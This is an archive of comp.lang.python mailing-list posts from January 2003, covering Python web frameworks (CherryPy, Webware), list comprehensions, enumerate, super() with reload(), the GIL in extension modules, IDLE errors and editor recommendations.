From sholden at holdenweb.com  Fri Jan 10 11:43:10 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Fri, 10 Jan 2003 11:43:10 -0500
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>  <cj5r1v4to11qdrsjcm1aiakm07adg9haob@4ax.com> <mailman.1042151380.11535.python-list@python.org> <odoT9.36428$xb.5822@nwrddc02.gnilink.net>
Message-ID: <jGCT9.28142$Yh.28041@FE10>

"Carl Banks" <imbosol at vt.edu> wrote in message
news:odoT9.36428$xb.5822 at nwrddc02.gnilink.net...
> Cliff Wells wrote:
> > You might have better luck in comp.lang.lisp.
>
> Talk about "out of the frying pan and into the fire."
>

Actually I'd say that would be more like "out of the frying pan and into the
heart of a 10-kiloton nuclear explosion", but then I'm (mostly)
rudeness-averse.

which-is-one-reason-why-i-like-c.l.py-ly y'rs  - steve
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/







From nav at adams.patriot.net  Fri Jan 17 15:39:31 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 17 Jan 2003 15:39:31 -0500
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <x7el7b4qiv.fsf@guru.mired.org> <yyywul3skw6.fsf@adams.patriot.net> <mailman.1042831533.29273.python-list@python.org>
Message-ID: <yyyfzrrse7w.fsf@adams.patriot.net>

Richard Kuhns <rjkuhns at geetel.net> writes:
> def comify(number):
>     import re
>     string, count = re.subn(r'^(-?\d+)(\d\d\d)', r'\1,\2', str(number))
>     while count > 0:
>         string, count = re.subn(r'^(-?\d+)(\d\d\d)', r'\1,\2', string)
>     return string

I don't much care about efficiency, but this looks expensive... :^) I
had been thinking about a re solution -- being an ex-perl person it
was an inevitable thought -- thank you for demo'ing one.

Nick

-- 
# sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')




From p-nowak at eelink.net  Fri Jan 24 00:27:57 2003
From: p-nowak at eelink.net (Paul Nowak)
Date: 23 Jan 2003 21:27:57 -0800
Subject: Python as a base for an Open Source Foxpro
References: <mailman.1042696530.12063.python-list@python.org>
Message-ID: <5c07cc6.0301232127.3cce41f0@posting.google.com>

Thanks for all the replies.  I have been looking at the Harbour
project and the xbase stuff at freshmeat.  There is actually a lot of
OSS that comes a long way to meeting my goal of a dBase III+ dot
prompt (OK, so the FoxPro target was a little on the ambitious side).

So, I have more looking to do now but it was great to read this thread
and see all the resources that you folks are aware of.

More soon as some pretty interesting Foxpro folks would like to see
this happen I think.

Paul



From ciouded0ne at aol.com  Sat Jan 18 02:52:48 2003
From: ciouded0ne at aol.com (CIouded 0ne)
Date: 18 Jan 2003 07:52:48 GMT
Subject: python compiler (psyco)
References: <mailman.1042690025.16695.python-list@python.org>
Message-ID: <20030118025248.11673.00000075@mb-ce.aol.com>

i couldnt get the compiler to be installed right i tryed running the python
interpreter and typing 


python setup.py install


like it saids to do in the readme but that didnt work but i think it said to do
it in a C compiler which i have but im not sure how u do that in a C compiler?
any help?



From bokr at oz.net  Wed Jan 29 05:21:22 2003
From: bokr at oz.net (Bengt Richter)
Date: 29 Jan 2003 10:21:22 GMT
Subject: else in list comp
References: <mailman.1043813212.6357.python-list@python.org> <eppstein-1A10DE.21363228012003@news.service.uci.edu> <mailman.1043821133.2501.python-list@python.org>
Message-ID: <b189v2$7rj$0@216.39.172.122>

On 28 Jan 2003 22:17:04 -0800, Cliff Wells <clifford.wells at attbi.com> wrote:

>On Tue, 2003-01-28 at 21:36, David Eppstein wrote:
>> In article <mailman.1043813212.6357.python-list at python.org>,
>>  Cliff Wells <clifford.wells at attbi.com> wrote:
>> 
>> > Given the list:
>> > 
>> > l = ['mary', 'had', 'a', 'little', None]
>> > 
>> > it should get mapped to ['mary', 'had', 'a', 'little', '']
>> 
>> [x or '' for x in l]
>
>Yes, this was suggested by someone else, but again, solving the
>particular problem wasn't the real point.  If the data contains anything
>that evaluates to false (such as 0), then x or '' won't work.  I stated
>the problem badly which led to this confusion.  My apologies.
>
>Kindly reconsider the problem using 
>
>myList = [0, None, '1', None, 2, None, '3']
>
 >>> myList = [0, None, '1', None, 2, None, '3']
 >>> [(x, '')[x is None] for x in myList]
 [0, '', '1', '', 2, '', '3']

>My real interest was in a possible "else" clause (as per the subject
>line) in a list comp.
>
>['' for i in myList if i is None else i]
The alternatives are separated pretty far, though, so the choices
and conditions don't read as clearly as the solution above, IMO, though that
is not beautiful either.

>
>It seems a good idea to me, but then, I'm somewhat biased toward my own
>ideas.
I know the feeling ;-)

Regards,
Bengt Richter



From remi at cherrypy.org  Tue Jan 21 03:44:37 2003
From: remi at cherrypy.org (Remi Delon)
Date: Tue, 21 Jan 2003 09:44:37 +0100
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com>
Message-ID: <3e2d0875$0$237$626a54ce@news.free.fr>

You might want to take a look at CherryPy (http://www.cherrypy.org)



> I would love to use Python instead of PHP for web development, but

> I have so far been confused by the options, or perhaps lack thereof,

> given my strict requirements. I would appreciate suggestions.

>

> I've looked at some Python options and have experience in quite a

> few platforms previously. I have always disliked PHP as a language,

> but at the same time have found it very accessible and useful.

>

> Possible solutions should do 99% of the following :

>

> * Run on the same hardware I use currently

It is 100% pure python so if python runs on your hardware, CherryPy will
too.

> * Be as fast or faster than Apache+PHP

> (I'm sorry to say Zope/Roxen are not)

> (This might mean it must use Apache)

>

> * Use a similar amount of memory

> (ie. not Java/.NET related)

CherryPy uses a "compile source files and generate a single executable for
your website" approach, so it doesn't get much faster than that. And the
executable is very lightweight (only a few MB for a simple website)

>

> * Provide a fairly equivalent framework w/ sessions, cookies, get, post

> (Described in http://www.boddie.org.uk/python/web_frameworks.html)

> (eg. I should not have to write code to parse query strings, etc.)

> (PHP is somewhat unique in the ways it can bring in post variables)

CherryPy is also somewhat unique in the way it handles get and post
variables :-) Each page request is converted into a regular function call
and get and post variables become the arguments of the call:

http://localhost/index?var1=val1&var2=val2

is converted to:

index(var1="val1", var2=val2)

so you'll just have to write a function like this:

def index(var1, var2):

And it doesn't matter if var1 and var2 are sent via a get or a post or if
they're a short string or a large file that's being uploaded: they're
handled the same way.

Cookies are also automatically parsed and put in a nice python map for you.

Sessions are not implemented yet.

> * Allow all errors to be caught and handled so users never see them

> (I currently send them to an email address)

> (Users are notified an error occurred and a developer contacted)

That's how I set up my websites too :-) It's a trivial thing to do with
CherryPy. Chapter 14.3.4 of the tutorial shows how to do this.

> * Allow sending of raw binary data, for restricted file downloading

> (eg. http://example.com/sendfile.php?id=A6DE12FAB3...etc)

> (This requires header manipulation, specifically the mime type)

> (That sort of thing should be part of the framework 3 bullets up)

I'm not sure what you mean by that but CherryPy allows you to work on the
response header and body before it is sent back to the browser. So what you
want is probably quite easy to do with CherryPy.

> * Allow SSL secured authorize.net credit card processing

> (I currently use PHP's libcurl+ssl module)

Yep, it supports SSL.

> * Allow similarly powerful regex capabilities

> (I currently use PHP's pcre module)

Well, you have access to all python modules from your code, so just pick the
one you want.

> * Big plus, but optional, auto prepend/append files

> (eg. Apache+PHP has .htaccess directives like this )

> ( php_value auto_prepend_file "_header.php" )

> ( php_value auto_append_file "_footer.php" )

> (granular down to the directory

You can do that with CherryPy AOP feature. Check out this HowTo:
http://www.cherrypy.org/static/html/howto/node12.html

> * Finally, very optional plus, global application scoped variables

> (PHP does NOT allow this, but I know why)

> (I do not want to hear why you think this is bad)

> (I know why it is good, I know why it can be bad)

Yep, you can use global variables.

> Some of these things likely already exist in Python itself and thus

> in anything which uses Python in a web development solution, but I am

> mentioning them explicitly because they are indeed still requirements.

> Plus explicit is better than implicit, as I'm sure everyone knows. ;-)

>

> Some links for future and others' reference :

> http://www.boddie.org.uk/python/web_frameworks.html

> http://www.boddie.org.uk/python/web_modules.html

> http://webware.sf.net/

> http://modsnake.sf.net/ (dead? that's too bad)

> http://www.apache.org/dist/httpd/modpython/

> http://pmz.sourceforge.net/

> http://www.mems-exchange.org/software/quixote/

> http://skunkweb.sourceforge.net/

>

> I hope I have not forgotten anything which will lead this thread to hell.

Well, you've forgotten CherryPy :-)

I suggest you take a look at http://www.cherrypy.org, check out the small
online demo and take a quick look at the documentation (HowTo and tutorial).

If it doesn't meet your requirements, please tell me what is missing/you
don't like so I can improve it :-)

Regards.

Remi.








From max at alcyone.com  Fri Jan 31 23:33:26 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 31 Jan 2003 20:33:26 -0800
Subject: getting an index in a for loop
References: <a865f0e4.0301310543.7aa8d1a4@posting.google.com> <mailman.1044021360.9474.python-list@python.org> <3E3B41B3.C06B0EFE@alcyone.com> <7x7kckfy6c.fsf@ruckus.brouhaha.com>
Message-ID: <3E3B4E16.91FAFB52@alcyone.com>

Paul Rubin wrote:

> Do they really???  I would have hoped that enumerate would build an
> iterator, something like
> 
>   def enumerate(seq):
>      i = 0
>      for s in seq:
>         yield s

well, yield i, s, yeah.

>         i += 1
> 
> If enumerate really does build the whole list, either I'm missing
> something basic or else there was a big blunder.

Err, you're right, it does:

>>> enumerate(range(5))
<enumerate object at 0x401aa0ec>
>>> list(_)
[(0, 0), (1, 1), (2, 2), (3, 3), (4, 4)]

My bad, that was just a misunderstanding on my part.  However, enumerate
is still only available in 2.3 so it's not really widely available yet.

The second form he suggested (that of building a second list with range
and zipping the two together) does, however, require building the entire
list, so my objection still applies to that one.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The basis of optimism is sheer terror.
\__/ Oscar Wilde
    Bosskey.net / http://www.bosskey.net/
 A personal guide to online multiplayer first person shooters.



From newt_e at blueyonder.co.uk  Fri Jan 10 17:35:58 2003
From: newt_e at blueyonder.co.uk (Newt)
Date: Fri, 10 Jan 2003 22:35:58 GMT
Subject: Classes / Tkinter 
Message-ID: <iVHT9.24491$pS4.164735147@news-text.cableinet.net>

Hi,

I'm putting together an application that consists of one main 'window',
visible all the time, and six or seven other 'windows', each of which would
be displayed once.

At the moment, each 'window' has been put into it's own class, together with
all it's needed individual functions (e.g. data entry checking etc).

My query is "is this appropriate for an application of this type?"

TIA

Newt





From theller at python.net  Thu Jan 16 07:48:22 2003
From: theller at python.net (Thomas Heller)
Date: 16 Jan 2003 13:48:22 +0100
Subject: Bug with super() and reload()?
Message-ID: <of6h1crt.fsf@python.net>

I stumbled over the following problem with super() and reload().

Consider this module:

---- file mod.py ----
class X(object):
    def test(self):
        print "X.test"

class Y(X):
    def test(self):
        print "Y.test"
        super(Y, self).test()
---- EOF ----

then, running this code:

---- the script ----
import mod

Y = mod.Y

reload(mod)

y = Y()
y.test()
---- EOF ----

prints this traceback:

    Y.test
    Traceback (most recent call last):
      File "<stdin>", line 8, in ?
      File "mod.py", line 8, in test
        super(Y, self).test()
    TypeError: super(type, obj): obj must be an instance or subtype of type

Thinking hard, I can understand why this traceback occurs: The object
'y' is not an instance of the 'Y' refered to in the source code.

Should this be considered a bug, or is it simply a wart, and reload
should be avoided?

Thomas



From peter at engcorp.com  Fri Jan 17 09:14:59 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 17 Jan 2003 09:14:59 -0500
Subject: The benefit of properties (was Re: PEP 8: on member variables vs. 
 attributes)
References: <f57664b9.0301170041.46cc103e@posting.google.com> <v2fuopd3ui6o48@news.supernews.com>
Message-ID: <3E280FE3.EB4033F@engcorp.com>

John Roth wrote:
> Properties are simply a piece of syntactic sugar on top
> of accessor functions. As such, they provide the same
> information hiding benefits as accessors.
> 
> It's a nice piece of syntactic sugar, but it does not provide
> anything fundamental that can't be accomplished in some
> other way.
> 
> What it does provide is clarity and a level of encapsulation
> that facilitates maintenance.

They can also provide an obfuscation technique because they 
make implicit things that should sometimes be explicit.  I 
think this might be Yet Another Tool That can Easily be 
Abused in the hands of an unthinking programmer.

When I was leading a team doing lots of Delphi development,
several developers (who had used Delphi much longer than I)
insisted on using properties for just about everything.  No
accessor methods at all.  

I rebelled against this at the time, almost outlawing properties,
because it got to the point where I couldn't tell when something
was just setting a value, possibly with a check or clipping or
something applied, and when the code -- which looked like a simple
assignment -- was actually storing some data in a file, sending
a message to another thread, stopping the machine's motion, and 
then launching a Space Shuttle.

No doubt forbidding them was an overreaction, but at least it
let us start getting a handle on the complexity of the code.

I've been looking forward to having a chance to let them redeem
themselves when I start using them with Python... if they can.
Do they really enhance clarity and maintenance, or might they be
more _in the way_ of easy comprehension?

-Peter



From glc at well.com  Thu Jan  2 12:34:33 2003
From: glc at well.com (Greg Chapman)
Date: Thu, 02 Jan 2003 17:34:33 GMT
Subject: Extension modules, Threading, and the GIL
References: <ufzsgi9ao.fsf@boost-consulting.com> <20021230145912.GA8481@panix.com> <ud6njfshh.fsf@boost-consulting.com> <ulm27cvdx.fsf@boost-consulting.com> <ausj3l$ipd$0@216.39.172.122> <ausjsg$c6f$07$1@news.t-online.com> <aust1q$9on$0@216.39.172.122> <ausul3$qmc$07$1@news.t-online.com> <aut8lp$61d$0@216.39.172.122> <m3znql2wwk.fsf@mira.informatik.hu-berlin.de>
Message-ID: <put81v8satrhqa3cno3d9kh5fhvfuei6gh@4ax.com>

On 01 Jan 2003 07:42:51 +0100, martin at v.loewis.de (Martin v. L?wis) wrote:

>bokr at oz.net (Bengt Richter) writes:
>
>> PyEval_AcquireThread(tstate) requires a tstate to swap in when
>> acquiring the lock, AFAICS, and a raw OS thread would not have a
>> tstate unless it built one. I was trying to suggest that there might
>> be a thread in Dave's universe that doesn't have a tstate built, and
>> therefore can't properly acquire the lock. That's why I was musing
>> on the possibility of an OS thread automatically having a tstate
>> built for it if it didn't have one.
>
>This is unlikely. tstate isn't a global variable, so if you invoke
>AcquireThread, you have to create a thread state yourself first. This
>is independent of whether the thread was created with
>start_new_thread: When you are in a position to invoke AcquireThread,
>you *never* have a thread state you could use, you always have to
>create one (unless you can come up with some clever machinery, such as
>storing the thread state in TLS). People using AcquireThread usually
>know this.
>

It seems to me that threadstate could be made global, or at least thread local,
within Python, thus freeing client code from ever having to explicitly create a
threadstate.  For this to work, Python would have to have the equivalent of
thread local storage on all supported platforms.  Looking over the thread-sig
archives, Greg Stein suggested that TLS could be emulated on platforms which
don't offer it natively using a Python dict and a lock (at any rate, it should
be possible with some sort of synchronized data structure).  With only one
threadstate per thread, a thread could easily determine whether it has the GIL
(the threadstate could have some sort of active flag which gets set when it
obtains the GIL); this might solve David Abraham's problem (not sure).  (It
could also allow a thread to call AcquireThread multiple times without deadlock;
since there would be only one threadstate per thread, that state could preserve
a lockcount to handle recursive calls.)

Thinking further about this, for this to work cleanly I think Python would have
to allow only one interpreter per process.  I never use multiple interpreters,
so I'm not quite sure what they're used for, but I wonder if the need for them
could be eliminated by providing a new built-in type (sort of like RExec without
the security overhead) which would initialize itself by doing the stuff that
Py_NewInterpreter does to get a new copy of the global data space and which
would provide methods for executing code in that copy of the data space.


---
Greg Chapman




From maxm at mxm.dk  Mon Jan 20 15:50:43 2003
From: maxm at mxm.dk (Max M)
Date: Mon, 20 Jan 2003 21:50:43 +0100
Subject: Python web development, really
In-Reply-To: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com>
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com>
Message-ID: <MgZW9.41168$Hl6.4924133@news010.worldonline.dk>

Afanasiy wrote:

> * Run on the same hardware I use currently
> 
> * Be as fast or faster than Apache+PHP
>   (I'm sorry to say Zope/Roxen are not)
>   (This might mean it must use Apache)
> 
> * Use a similar amount of memory
>   (ie. not Java/.NET related)


So you want the advantages of Python, but none of the trade-off's. Well 
wouldn't we all?

You would have to write test for your app to test this. But they should 
be roughly in the same ballpark.

> 
> * Provide a fairly equivalent framework w/ sessions, cookies, get, post
>   (Described in http://www.boddie.org.uk/python/web_frameworks.html)
>   (eg. I should not have to write code to parse query strings, etc.)
>   (PHP is somewhat unique in the ways it can bring in post variables)


I don't know about sessions, but my guess is that there is something out 
there. cookies, get and post's can be handled nicely by the cgi module.

> * Allow all errors to be caught and handled so users never see them
>   (I currently send them to an email address)
>   (Users are notified an error occurred and a developer contacted)


try/except works like a charm for this. Use it myself.

> * Allow sending of email


smtplib is your friend. Not quite as friendly as some email packages. 
But together with the email module it is very powerfull

> * Allow sending of raw binary data, for restricted file downloading
>   (eg. http://example.com/sendfile.php?id=A6DE12FAB3...etc)
>   (This requires header manipulation, specifically the mime type)
>   (That sort of thing should be part of the framework 3 bullets up)


It is not quite clear what you mean here. But if you want to send a file 
from your server to another webserver/form, you just use urllib/urllib2. 
If you want to receive files on your server it is built into the cgi module.

> * Allow SSL secured authorize.net credit card processing
>   (I currently use PHP's libcurl+ssl module)


Doesn't Apache do this?

> * Allow similarly powerful regex capabilities
>   (I currently use PHP's pcre module)


Pythons regexp's are probably as powerfull as any. Se the re module.

> * Big plus, but optional, auto prepend/append files
>   (eg. Apache+PHP has .htaccess directives like this )
>   (    php_value auto_prepend_file "_header.php"     )
>   (    php_value auto_append_file "_footer.php"      )
>   (granular down to the directory 


hmmm! Don't know about this one. Python isn't embedded like that out of 
the box. Should be pretty easy to write a function wich does something 
like it though.

> * Finally, very optional plus, global application scoped variables
>   (PHP does NOT allow this, but I know why)
>   (I do not want to hear why you think this is bad)
>   (I know why it is good, I know why it can be bad)


Use the Borg pattern:
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/66531

regards Max M


-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From abelikov72 at hotmail.com  Wed Jan  8 18:21:44 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Wed, 08 Jan 2003 23:21:44 GMT
Subject: Reload modules?
Message-ID: <iqcp1vo552354r8i2nqkj0pmf3l03ko5pp@4ax.com>

The main python script I execute from my python-embedded application
imports some modules. In order for my application to recognize changes
to those python scripted modules, I must restart it. However, changes to
the main script itself are recognized without restarting my application.

Can I force a reload of modules while the application is running?



From NadavH at envision.co.il  Thu Jan  9 06:16:20 2003
From: NadavH at envision.co.il (Nadav Horesh)
Date: Thu, 09 Jan 2003 13:16:20 +0200
Subject: Problems with idle under Python 2.3.a1
Message-ID: <3E1D5A04.30509@envision.co.il>

I succeded to compile Python2.3.a1 under RH8.0 almost smoothly, and add 
some external module (mxTools, PIL, Numeric, numarray etc.). The only 
obstacle I had:

   1. I had to move manually libpython2.3.so to /usr/local/lib and rerun
      the make file.
   2. I have both Tk8.4 and 8.3, so I had to change one header file in
      PIL, in order to explictly use the 8.3 version.

But, what I could not figure out is, why when I try to save a new file I 
created via IDLE, I get the following announcement, and no file is saved:

[GCC 3.2.1] on linux2
Type "copyright", "credits" or "license" for more information.
IDLE 0.8 -- press F1 for help

##  Start here
 >>> Exception in Tkinter callback
Traceback (most recent call last):
  File "/usr/local/lib/python2.3/lib-tk/Tkinter.py", line 1306, in __call__
    return apply(self.func, args)
  File "/usr/local/lib/python2.3/site-packages/idlelib/IOBinding.py", 
line 255, in save
    self.save_as(event)
  File "/usr/local/lib/python2.3/site-packages/idlelib/IOBinding.py", 
line 263, in save_as
    filename = self.asksavefile()
  File "/usr/local/lib/python2.3/site-packages/idlelib/IOBinding.py", 
line 415, in asksavefile
    return self.savedialog.show(initialdir=dir, initialfile=base)
  File "/usr/local/lib/python2.3/lib-tk/tkCommonDialog.py", line 54, in show
    s = self._fixresult(w, s)
  File "/usr/local/lib/python2.3/lib-tk/tkFileDialog.py", line 58, in 
_fixresult
    path, file = os.path.split(result)
  File "/usr/local/lib/python2.3/posixpath.py", line 65, in split
    i = p.rfind('/') + 1
AttributeError: '_tkinter.Tcl_Obj' object has no attribute 'rfind'


Any ideas?
  Nadav.






From abelikov72 at hotmail.com  Mon Jan  6 20:03:44 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Tue, 07 Jan 2003 01:03:44 GMT
Subject: Simple httplib problem
References: <hs5k1vklegrthn41c3krdv8g8g1s8edfc5@4ax.com>
Message-ID: <nv9k1vc80mfaj3bhq96864f5gsoa5pcp0t@4ax.com>

On Mon, 06 Jan 2003 23:57:46 GMT, Afanasiy <abelikov72 at hotmail.com>
wrote:

>Can someone tell me what I am doing wrong here?
>
>I need to get a file via http, but must login first, so I am doing two
>requests. The login request succeeds and I get the correct HTML
>response. But the second request to get the actual file I wanted (after
>logging in) is throwing an httplib.ResponseNotReady exception.
>

The second connection needs to have it's own HTTPConnection object.
I was just a confused about using this module it seems. The documenation
I have from ActiveState's Windows distribution seems fairly lacking in
most aspects. Is there something better?



From detlev at die-offenbachs.de  Fri Jan  3 11:59:33 2003
From: detlev at die-offenbachs.de (Detlev Offenbach)
Date: Fri, 03 Jan 2003 17:59:33 +0100
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com>
Message-ID: <lhf4va-ap4.ln@majestix.gallien.de>

Johan wrote:

> Hi,
> 
> Anyone know some good Python editors under Linux?
> With good color highlightning... :)
> 
> I prefer free editors (have seen WingIDE but it isnt free :(...).
> 
> I hope someone know where i can find some editors :)
> 
> Looking forward to your replies... :)
> 
> Regards,
> Johan

Try eric3 from http://www.die-offenbachs.de/detlev/eric3.html
It is a complete IDE and it is released under the terms of the GPL. It 
probably has the features you are looking for.

Regards,
Detlev
-- 
Detlev Offenbach
detlev at die-offenbachs.de



From jbperez808 at yahoo.com  Sun Jan 12 17:56:01 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 12 Jan 2003 14:56:01 -0800
Subject: Scintilla / Scite tabs formatting mystery.
References: <3th02v48lkh3rrf4lu5jlu6118jb8c9v7t@4ax.com>
Message-ID: <f57664b9.0301121456.6d89fa88@posting.google.com>

> I think I've set the tabs up right:
> # Indentation
> tabsize=4
> indent.size=4
> use.tabs=1

I used to fiddle with tabsize but now I realize the
right approach is to ALWAYS set tabsize to 8 and
just adjust indent size (I use 2), _no matter what
your editor_.  I'm still trying to figure out how
to get jed python mode to work with a setting like
that.

Setting tabsize to anything other than 8 has many 
disadvantages.



From member21858 at dbforums.com  Wed Jan  8 10:21:39 2003
From: member21858 at dbforums.com (keithk)
Date: Wed, 08 Jan 2003 15:21:39 +0000
Subject: Help: Omitting quotes from SQL Queries.
References: <2356598.1041950714@dbforums.com>
Message-ID: <2361382.1042039299@dbforums.com>

That worked a treat Daniel, thanks a million, I thought it was a dead
end.
I had to tweak it a slight bit, the variable had to be in a tuple inside
of the list ie.

for fileName in fileNameList:
cursor.execute("""SELECT fileSize FROM database where
database.filename = ?""", [(fileName),])
fileSizes = cursor.fetchall()

Thanks again.

Keith

--
Posted via http://dbforums.com



From tismer at tismer.com  Fri Jan 31 09:46:16 2003
From: tismer at tismer.com (Christian Tismer)
Date: Fri, 31 Jan 2003 15:46:16 +0100
Subject: Implicit lists
In-Reply-To: <200301310815.52803.aleax@aleax.it>
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <200301301823.54257.aleax@aleax.it> <3E39EF53.2050206@tismer.com> <200301310815.52803.aleax@aleax.it>
Message-ID: <3E3A8C38.6060703@tismer.com>

Alex Martelli wrote:
> On Friday 31 January 2003 04:36 am, Christian Tismer wrote:
>    ...
> 
>>Besides th fact that I believe strings as sequences
>>should be deprecated, since nobody makes use of it,
> 
> 
> This is an overbid, IMHO: some (small) fraction of the time,
> say 10%, I'm quite happy that strings are sequences for 
> looping purposes; and far more often than that, for purposes
> of slicing, concatenation, repetition.  Deprecation can maybe
> be mooted for Python 3.0, of course, but no earlier.

Sorry, I didn't really express what I meant.
A reply from Guido first reminded me that
we of course need string slicing and indexing.
And then I realized that we are not seeking
for "sequenceness" or "stringness" at all.

What people really want to know is whether
"is this argument meant as a single argument
or is it a container of arguments".
That turns the overall question into
"is something a container"?

This still gives some ambiguities with multi-
purpose chamaeleans like the Numeric arrays,
but strings and array.array objects are very well
covered: They *are* sequences, but you don't
want them to be taken as argument collections,
since they are no containers.

Here the same, written in some bad Python style,
but as a builtin, it would do quite much
simplification for argument checking:

 >>> def iscontainer(obj):
... 	try:
... 		obj[0:0]   # is sequence
... 		try:
... 			buffer(obj)
... 			return False
... 		except:
... 			pass
... 		return True
... 	except:
... 		return False
...
 >>> iscontainer("")
0
 >>> iscontainer(1)
0
 >>> iscontainer(())
1

I'm (ab)using the fact that sequences which are
no containers usually support the buffer interface.

ciao - chris





From ianb at colorstudy.com  Thu Jan 23 16:57:33 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 23 Jan 2003 15:57:33 -0600
Subject: Python web development, really
In-Reply-To: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com>
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com>
Message-ID: <1043359053.16309.1094.camel@lothlorien>

I'm a developer for Webware (webware.sf.net), so I'll answer the
questions with relation to Webware:

On Mon, 2003-01-20 at 11:16, Afanasiy wrote:
> * Run on the same hardware I use currently

Yes, so long as you can run long-running processes.  Most commercial
shared-hosting situations don't allow this.  This applies to all Python
frameworks except when accessed strictly through CGI, which will give
you atrocious performance.

> * Be as fast or faster than Apache+PHP
>   (I'm sorry to say Zope/Roxen are not)
>   (This might mean it must use Apache)

Probably comparable speed.  It's definitely faster than Zope.  We
haven't encountered people who have felt limited by the speed of Webware
(as compared to bandwidth limitations, database, etc).  But that might
just be because people aren't using in situations where it would be a
problem.

Webware also makes possible some significant caching, though you have to
do it in an ad hoc way.  You'd do this through global data, which is
noted later.

> * Use a similar amount of memory
>   (ie. not Java/.NET related)

Webware is fairly small, it should be fine.

> * Provide a fairly equivalent framework w/ sessions, cookies, get, post
>   (Described in http://www.boddie.org.uk/python/web_frameworks.html)
>   (eg. I should not have to write code to parse query strings, etc.)
>   (PHP is somewhat unique in the ways it can bring in post variables)

Yep, they all do that.  Of course it doesn't register variables as
globals, but that's a feature :)

> * Allow all errors to be caught and handled so users never see them
>   (I currently send them to an email address)
>   (Users are notified an error occurred and a developer contacted)

Yep.

> * Allow sending of email

Through smtplib.  We don't duplicate anything that Python does fine on
its own.

> * Allow sending of raw binary data, for restricted file downloading
>   (eg. http://example.com/sendfile.php?id=A6DE12FAB3...etc)
>   (This requires header manipulation, specifically the mime type)
>   (That sort of thing should be part of the framework 3 bullets up)

Certainly.

> * Allow SSL secured authorize.net credit card processing
>   (I currently use PHP's libcurl+ssl module)

You'd do this using urllib, which is part of Python.
  
> * Allow similarly powerful regex capabilities
>   (I currently use PHP's pcre module)

Again, using Python's re module (IMHO much easier to use than in PHP).

> * Big plus, but optional, auto prepend/append files
>   (eg. Apache+PHP has .htaccess directives like this )
>   (    php_value auto_prepend_file "_header.php"     )
>   (    php_value auto_append_file "_footer.php"      )
>   (granular down to the directory 

I believe there's ways to do this with Apache while using Webware.  But
you can (in effect) do this in Webware fairly easily.  Each page of a
Webware application is a separate class.  Generally there will be a
superclass that you write that is specific to your application.  In it
you can put a header and footer, and those can be as dynamic as you
choose. 

> * Finally, very optional plus, global application scoped variables
>   (PHP does NOT allow this, but I know why)
>   (I do not want to hear why you think this is bad)
>   (I know why it is good, I know why it can be bad)

If I understand what you're thinking, yes, Webware does this well. 
Webware runs in a single, multi-threaded process.  So say you want to
keep a global list of everyone logged on: you'll have a global variable
in some module, and use .append() to add users or .remove() to remove
them.  All servlets can access the same variable.  Of course you have to
be careful to work with the data in a threadsafe manner, which is
inevitable (and of course the same concurrency issues exist in PHP as
well).

This data can be used for caching.  IMHO the convenience of this caching
makes increasing performance easier in Webware than, say, SkunkWeb
(which uses multiple processes, and so makes data sharing harder). 
SkunkWeb claims the multiple processes mean that it can better utilize
multi-processor systems because it is not pinned by the global
interpreter lock.  This is true, but there are many ways to increase
performance, and I believe easy data sharing and caching is more of a
benefit than multiple processors would be.  But anyway, I digress...

So, in conclusion, PHP is very expedient, and if you are making
applications where expedience is important, then PHP probably will work
well for you.  If you are making larger more powerful applications where
design really matters, then Python has some benefits over PHP.  And they
are big benefits -- PHP as a language is horrible, horrible, horrible. 
And it's not even a matter of compromises -- PHP doesn't *have* to be
that horrible, most of its flaws aren't tied to its conveniences.  It
just chooses to be horrible.

-- 
Ian Bicking           Colorstudy Web Development
ianb at colorstudy.com   http://www.colorstudy.com
PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7
4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241





From kumaran at yahoo.com  Mon Jan 20 15:35:17 2003
From: kumaran at yahoo.com (kumar)
Date: 20 Jan 2003 12:35:17 -0800
Subject: SHGetSpecialFolderLocation Question?
References: <85388c34.0301200649.6d95769c@posting.google.com> <mailman.1043075626.23573.python-list@python.org>
Message-ID: <85388c34.0301201235.2cda046b@posting.google.com>

Hi Dave,
  Thankyou very much. It worked

-Kumar

Dave Brueck <dave at pythonapocrypha.com> wrote in message news:<mailman.1043075626.23573.python-list at python.org>...
> On Mon, 20 Jan 2003, kumar wrote:
> 
> > The following python call always return "DESKTOP" as my personal
> > directory, where as it is a directory named "personal". Can some help
> > me with this?
> >
> > Python 2.0 (#8, Oct 16 2000, 17:27:58) [MSC 32 bit (Intel)] on win32
> > Type "copyright", "credits" or "license" for more information.
> > >>> from win32com.shell import shell, shellcon
> > >>> IDLList= shell.SHGetSpecialFolderLocation(shellcon.CSIDL_PERSONAL,
>  0)
> > >>> print "my_personal_dir =", shell.SHGetPathFromIDList(IDLList)
